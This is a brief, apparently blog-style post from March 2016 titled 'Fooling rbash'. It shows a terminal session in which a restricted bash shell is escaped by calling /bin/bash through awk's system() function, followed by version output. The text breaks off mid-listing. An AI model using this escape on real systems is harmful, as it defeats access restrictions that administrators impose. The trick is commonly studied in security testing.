March 2016

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Fooling rbash

$ echo $SHELL /bin/rbash $ /bin/ls /bin/bash: line 2: /bin/ls: restricted: cannot specify `/’ in command names $ awk ‘BEGIN{system(“/bin/bash”)}’ $ /bin/ls foo bar misc $ uname -rm 2.6.18-308.16.1.el5 i686 $ bash –version GNU bash, version 3.2.25(1)-release (i386-redhat-linux-gnu) Copyright (C) 2005 Free Software Foundation, Inc. $ awk –version GNU Awk 3.1.5 Copyright (C) 1989, 1991-2005 […]